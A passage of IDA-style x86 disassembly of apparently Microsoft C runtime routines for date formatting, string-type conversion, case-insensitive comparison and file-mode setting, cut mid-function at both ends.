loc_43359A: ; CODE XREF: sub_4333D0+1BCj
mov [ebp+var_8], 53h
loc_43359E: ; CODE XREF: sub_4333D0+1BEj
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_4335A3: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433854o
push offset aAmPm ; "am/pm"
mov ecx, [ebp+arg_0]
push ecx
call sub_41DBF0
add esp, 8
test eax, eax
jnz short loc_4335C3
mov edx, [ebp+arg_0]
add edx, 5
mov [ebp+var_4], edx
jmp short loc_4335E1
; ---------------------------------------------------------------------------
loc_4335C3: ; CODE XREF: sub_4333D0+1E6j
push offset aAP ; "a/p"
mov eax, [ebp+arg_0]
push eax
call sub_41DBF0
add esp, 8
test eax, eax
jnz short loc_4335E1
mov ecx, [ebp+arg_0]
add ecx, 3
mov [ebp+var_4], ecx
loc_4335E1: ; CODE XREF: sub_4333D0+1F1j
; sub_4333D0+206j
mov [ebp+var_8], 70h
jmp loc_4337A0
; ---------------------------------------------------------------------------
loc_4335EA: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:00433870o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_433601
mov eax, [ebp+arg_10]
mov ecx, [eax+98h]
mov [ebp+var_10], ecx
jmp short loc_43360D
; ---------------------------------------------------------------------------
loc_433601: ; CODE XREF: sub_4333D0+221j
mov edx, [ebp+arg_10]
mov eax, [edx+9Ch]
mov [ebp+var_10], eax
loc_43360D: ; CODE XREF: sub_4333D0+22Fj
; sub_4333D0+2DFj
cmp [ebp+var_C], 0
jle loc_4336B4
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jbe loc_4336B4
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_433677
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 1
jbe short loc_433677
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
loc_433677: ; CODE XREF: sub_4333D0+26Ej
; sub_4333D0+276j
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
jmp loc_43360D
; ---------------------------------------------------------------------------
loc_4336B4: ; CODE XREF: sub_4333D0+241j
; sub_4333D0+24Dj
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp loc_4333D6
; ---------------------------------------------------------------------------
loc_4336BF: ; CODE XREF: sub_4333D0+91j
; DATA XREF: .nsp0:off_433850o
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jz loc_433792
mov edx, [ebp+arg_0]
add edx, [ebp+var_C]
mov [ebp+arg_0], edx
loc_4336D6: ; CODE XREF: sub_4333D0+3BBj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_433790
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_433790
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 27h
jnz short loc_433709
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp loc_433790
; ---------------------------------------------------------------------------
loc_433709: ; CODE XREF: sub_4333D0+329j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_43375C
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 1
jbe short loc_43375C
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_43375C: ; CODE XREF: sub_4333D0+353j
; sub_4333D0+35Bj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp loc_4336D6
; ---------------------------------------------------------------------------
loc_433790: ; CODE XREF: sub_4333D0+30Ej
; sub_4333D0+31Aj ...
jmp short loc_43379B
; ---------------------------------------------------------------------------
loc_433792: ; CODE XREF: sub_4333D0+2F7j
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
mov [ebp+arg_0], eax
loc_43379B: ; CODE XREF: sub_4333D0:loc_433790j
jmp loc_4333D6
; ---------------------------------------------------------------------------
loc_4337A0: ; CODE XREF: sub_4333D0+80j
; sub_4333D0+91j ...
movsx ecx, [ebp+var_8]
test ecx, ecx
jz short loc_4337CC
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov al, [ebp+var_8]
push eax
call sub_432C00
add esp, 14h
mov ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
jmp short loc_433847
; ---------------------------------------------------------------------------
loc_4337CC: ; CODE XREF: sub_4333D0+3D6j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_433818
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_433818: ; CODE XREF: sub_4333D0+417j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_433847: ; CODE XREF: sub_4333D0+3FAj
jmp loc_4333D6
; ---------------------------------------------------------------------------
loc_43384C: ; CODE XREF: sub_4333D0+Ej
; sub_4333D0+1Aj
mov esp, ebp
pop ebp
retn
sub_4333D0 endp
; ---------------------------------------------------------------------------
off_433850 dd offset loc_4336BF ; DATA XREF: sub_4333D0+91r
dd offset loc_4335A3
dd offset loc_43352E
dd offset loc_433468
dd offset loc_4334A6
dd offset loc_433507
dd offset loc_433555
dd offset loc_43357C
dd offset loc_4335EA
dd offset loc_4334E4
dd offset loc_4337A0
byte_43387C db 0 ; DATA XREF: sub_4333D0+8Br
; ---------------------------------------------------------------------------
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or al, [ecx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
add cl, [edx]
or cl, [edx]
or al, [ebx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or al, [ecx]
or cl, [edx]
add al, 0Ah
or cl, [edx]
add eax, 0A0A0A0Ah
push es
or cl, [edx]
or cl, [edx]
or al, [edi]
or [edx], cl
or cl, [edx]
or cl, [ecx]
loc_4338CF: ; DATA XREF: sub_4333D0+B0r
xchg esi, [ebx+eax*2]
add [ecx-68FFBCCCh], dl
xor al, 43h
loc_4338DA: ; DATA XREF: sub_4333D0+EEr
add [ebp-3AFFBCCCh], bl
xor al, 43h
add bh, cl
xor al, 43h
add ch, dl
xor al, 43h
add bl, bl
xor al, 43h
add ah, cl
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4338F0 proc near ; CODE XREF: sub_42E940+41p
; sub_42E940+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_433A59
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_434810
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz loc_4339DF
call dword_4F1348 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_433960
jmp loc_433A3D
; ---------------------------------------------------------------------------
loc_433960: ; CODE XREF: sub_4338F0+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_434810
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_43398A
jmp loc_433A3D
; ---------------------------------------------------------------------------
loc_43398A: ; CODE XREF: sub_4338F0+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call sub_418EF0
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4339B0
jmp loc_433A3D
; ---------------------------------------------------------------------------
loc_4339B0: ; CODE XREF: sub_4338F0+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_434810
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4339DF
jmp short loc_433A3D
; ---------------------------------------------------------------------------
loc_4339DF: ; CODE XREF: sub_4338F0+5Aj
; sub_4338F0+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_418EF0
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_433A09
jmp short loc_433A3D
; ---------------------------------------------------------------------------
loc_433A09: ; CODE XREF: sub_4338F0+115j
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx
call sub_41B1F0
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_433A36
push 2
mov edx, [ebp+var_C]
push edx
call sub_419980
add esp, 8
loc_433A36: ; CODE XREF: sub_4338F0+136j
xor eax, eax
jmp loc_433B76
; ---------------------------------------------------------------------------
loc_433A3D: ; CODE XREF: sub_4338F0+6Bj
; sub_4338F0+95j ...
cmp [ebp+var_4], 0
jz short loc_433A51
push 2
mov eax, [ebp+var_C]
push eax
call sub_419980
add esp, 8
loc_433A51: ; CODE XREF: sub_4338F0+151j
or eax, 0FFFFFFFFh
jmp loc_433B76
; ---------------------------------------------------------------------------
loc_433A59: ; CODE XREF: sub_4338F0+Dj
cmp [ebp+arg_0], 0
jnz loc_433B73
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
mov edx, [ebp+var_A4]
push edx
push offset byte_4EFBFC
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_434670
add esp, 14h
test eax, eax
jnz short loc_433AA0
or eax, 0FFFFFFFFh
jmp loc_433B76
; ---------------------------------------------------------------------------
loc_433AA0: ; CODE XREF: sub_4338F0+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_433AC4
; ---------------------------------------------------------------------------
loc_433AB5: ; CODE XREF: sub_4338F0:loc_433B6Aj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_433AC4: ; CODE XREF: sub_4338F0+1C3j
cmp [ebp+var_A0], 4
jge loc_433B6F
cmp dword_4516A8, 1
jle short loc_433B0B
push 4
mov ecx, [ebp+var_A0]
mov dl, byte_4EFBFC[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax
call sub_421E50
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_433B3E
; ---------------------------------------------------------------------------
loc_433B0B: ; CODE XREF: sub_4338F0+1E8j
mov ecx, [ebp+var_A0]
mov dl, byte_4EFBFC[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_433B3E: ; CODE XREF: sub_4338F0+219j
cmp [ebp+var_A8], 0
jz short loc_433B68
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_433B6A
; ---------------------------------------------------------------------------
loc_433B68: ; CODE XREF: sub_4338F0+255j
jmp short loc_433B6F
; ---------------------------------------------------------------------------
loc_433B6A: ; CODE XREF: sub_4338F0+276j
jmp loc_433AB5
; ---------------------------------------------------------------------------
loc_433B6F: ; CODE XREF: sub_4338F0+1DBj
; sub_4338F0:loc_433B68j
xor eax, eax
jmp short loc_433B76
; ---------------------------------------------------------------------------
loc_433B73: ; CODE XREF: sub_4338F0+16Dj
or eax, 0FFFFFFFFh
loc_433B76: ; CODE XREF: sub_4338F0+148j
; sub_4338F0+164j ...
mov esp, ebp
pop ebp
retn
sub_4338F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, off_4526D8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433B90 proc near ; CODE XREF: sub_42F970+216p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_438EF0
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4EFC08, 0
jnz short loc_433C0E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_4382B8
push 1
call dword_4F12EC ; GetStringTypeW
test eax, eax
jz short loc_433BE2
mov dword_4EFC08, 1
jmp short loc_433C0E
; ---------------------------------------------------------------------------
loc_433BE2: ; CODE XREF: sub_433B90+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_4382B4
push 1
push 0
call dword_4F12F0 ; GetStringTypeA
test eax, eax
jz short loc_433C07
mov dword_4EFC08, 2
jmp short loc_433C0E
; ---------------------------------------------------------------------------
loc_433C07: ; CODE XREF: sub_433B90+69j
xor eax, eax
jmp loc_433DE9
; ---------------------------------------------------------------------------
loc_433C0E: ; CODE XREF: sub_433B90+2Dj
; sub_433B90+50j ...
cmp dword_4EFC08, 1
jnz short loc_433C32
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4F12EC ; GetStringTypeW
jmp loc_433DE9
; ---------------------------------------------------------------------------
loc_433C32: ; CODE XREF: sub_433B90+85j
cmp dword_4EFC08, 2
jnz loc_433DE7
cmp [ebp+arg_10], 0
jnz short loc_433C4D
mov eax, dword_4EF984
mov [ebp+arg_10], eax
loc_433C4D: ; CODE XREF: sub_433B90+B3j
push 0
push 0
push 0
push 0
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push 220h
mov eax, [ebp+arg_10]
push eax
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_433C7C
xor eax, eax
jmp loc_433DE9
; ---------------------------------------------------------------------------
loc_433C7C: ; CODE XREF: sub_433B90+E3j
mov [ebp+var_4], 0
mov eax, [ebp+var_28]
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_28]
push edx
push 0
mov eax, [ebp+var_2C]
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_433CCE
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_433CCE: ; CODE XREF: sub_433B90+125j
cmp [ebp+var_2C], 0
jnz short loc_433CDB
xor eax, eax
jmp loc_433DE9
; ---------------------------------------------------------------------------
loc_433CDB: ; CODE XREF: sub_433B90+142j
push 0
push 0
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call dword_4F141C ; WideCharToMultiByte
test eax, eax
jnz short loc_433D09
xor eax, eax
jmp loc_433DE9
; ---------------------------------------------------------------------------
loc_433D09: ; CODE XREF: sub_433B90+170j
mov [ebp+var_4], 1
mov eax, [ebp+var_28]
lea eax, [eax+eax+2]
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_433D4D
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_433D4D: ; CODE XREF: sub_433B90+1A4j
cmp [ebp+var_24], 0
jnz short loc_433D5A
xor eax, eax
jmp loc_433DE9
; ---------------------------------------------------------------------------
loc_433D5A: ; CODE XREF: sub_433B90+1C1j
cmp [ebp+arg_14], 0
jnz short loc_433D69
mov edx, dword_4EF974
mov [ebp+arg_14], edx
loc_433D69: ; CODE XREF: sub_433B90+1CEj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
mov word ptr [ecx+eax*2], 0FFFFh
mov edx, [ebp+arg_8]
mov eax, [ebp+var_24]
mov word ptr [eax+edx*2-2], 0FFFFh
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_14]
push edx
call dword_4F12F0 ; GetStringTypeA
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2-2]
cmp edx, 0FFFFh
jz short loc_433DC8
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2]
cmp edx, 0FFFFh
jz short loc_433DCC
loc_433DC8: ; CODE XREF: sub_433B90+222j
xor eax, eax
jmp short loc_433DE9
; ---------------------------------------------------------------------------
loc_433DCC: ; CODE XREF: sub_433B90+236j
mov eax, [ebp+arg_8]
shl eax, 1
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_41D520
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_433DE9
; ---------------------------------------------------------------------------
loc_433DE7: ; CODE XREF: sub_433B90+A9j
xor eax, eax
loc_433DE9: ; CODE XREF: sub_433B90+79j
; sub_433B90+9Dj ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_433B90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433E00 proc near ; CODE XREF: sub_4300F0+11Bp
; sub_4300F0+2D4p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz loc_433EFA
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
lea eax, dword_4EF96C
cmp dword ptr [eax+8], 0
jnz short loc_433E71
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_433E2C: ; CODE XREF: sub_433E00+53j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_433E55
or al, al
jz short loc_433E55
inc esi
inc edi
cmp ah, bh
jb short loc_433E44
cmp ah, bl
ja short loc_433E44
add ah, dh
loc_433E44: ; CODE XREF: sub_433E00+3Cj
; sub_433E00+40j
cmp al, bh
jb short loc_433E4E
cmp al, bl
ja short loc_433E4E
add al, dh
loc_433E4E: ; CODE XREF: sub_433E00+46j
; sub_433E00+4Aj
cmp ah, al
jnz short loc_433E5F
dec ecx
jnz short loc_433E2C
loc_433E55: ; CODE XREF: sub_433E00+32j
; sub_433E00+36j
xor ecx, ecx
cmp ah, al
jz loc_433EFA
loc_433E5F: ; CODE XREF: sub_433E00+50j
mov ecx, 0FFFFFFFFh
jb loc_433EFA
neg ecx
jmp loc_433EFA
; ---------------------------------------------------------------------------
loc_433E71: ; CODE XREF: sub_433E00+21j
lock inc dword_4EFD48
cmp dword_4EFD44, 0
jg short loc_433E85
push 0
jmp short loc_433E9E
; ---------------------------------------------------------------------------
loc_433E85: ; CODE XREF: sub_433E00+7Fj
lock dec dword_4EFD48
mov ebx, ecx
push 13h
call sub_41FB40
mov [esp+10h+var_10], 1
mov ecx, ebx
loc_433E9E: ; CODE XREF: sub_433E00+83j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_433EA4: ; CODE XREF: sub_433E00+CDj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_433ECF
or ebx, ebx
jz short loc_433ECF
inc esi
inc edi
push ecx
push eax
push ebx
call sub_41E5F0
mov ebx, eax
add esp, 4
call sub_41E5F0
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_433ED5
dec ecx
jnz short loc_433EA4
loc_433ECF: ; CODE XREF: sub_433E00+AAj
; sub_433E00+AEj
xor ecx, ecx
cmp eax, ebx
jz short loc_433EDE
loc_433ED5: ; CODE XREF: sub_433E00+CAj
mov ecx, 0FFFFFFFFh
jb short loc_433EDE
neg ecx
loc_433EDE: ; CODE XREF: sub_433E00+D3j
; sub_433E00+DAj
pop eax
or eax, eax
jnz short loc_433EEC
lock dec dword_4EFD48
jmp short loc_433EFA
; ---------------------------------------------------------------------------
loc_433EEC: ; CODE XREF: sub_433E00+E1j
mov ebx, ecx
push 13h
call sub_41FBE0
add esp, 4
mov ecx, ebx
loc_433EFA: ; CODE XREF: sub_433E00+Bj
; sub_433E00+59j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_433E00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_4EFD40
jnb short loc_433F41
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_433F51
loc_433F41: ; CODE XREF: .nsp0:00433F1Dj
call sub_4248A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_433F7F
; ---------------------------------------------------------------------------
loc_433F51: ; CODE XREF: .nsp0:00433F3Fj
mov edx, [ebp+8]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_433F90
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_42BCE0
add esp, 4
mov eax, [ebp-4]
loc_433F7F: ; CODE XREF: .nsp0:00433F4Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433F90 proc near ; CODE XREF: sub_430DB0+D4p
; sub_430DB0+1A6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 8000h
jnz short loc_433FF9
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
mov cl, [eax+edx+4]
and cl, 7Fh
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4EFC40[edx*4]
mov [edx+eax+4], cl
jmp short loc_43404A
; ---------------------------------------------------------------------------
loc_433FF9: ; CODE XREF: sub_433F90+2Ej
cmp [ebp+arg_4], 4000h
jnz short loc_43403A
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov al, [edx+ecx+4]
or al, 80h
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_4EFC40[ecx*4]
mov [ecx+edx+4], al
jmp short loc_43404A
; ---------------------------------------------------------------------------
loc_43403A: ; CODE XREF: sub_433F90+70j
call sub_4248A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_43405B
; ---------------------------------------------------------------------------
loc_43404A: ; CODE XREF: sub_433F90+67j
; sub_433F90+A8j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, 8000h
loc_43405B: ; CODE XREF: sub_433F90+B8j
mov esp, ebp
pop ebp
retn
sub_433F90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434060 proc near ; CODE XREF: sub_431E60+2B5p
; sub_4344A0+B5p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov word ptr [ebp+var_2C], 0
mov [ebp+var_4], 0
mov [ebp+var_14], 0
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov cx, [eax+0Ah]
mov word ptr [ebp+var_18], cx
mov edx, [ebp+arg_4]
mov ax, [edx+0Ah]
mov word ptr [ebp+var_20], ax
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
mov edx, [ebp+var_20]
and edx, 0FFFFh
xor ecx, edx
and ecx, 8000h
mov word ptr [ebp+var_2C], cx
mov ax, word ptr [ebp+var_18]
and ax, 7FFFh
mov word ptr [ebp+var_18], ax
mov cx, word ptr [ebp+var_20]
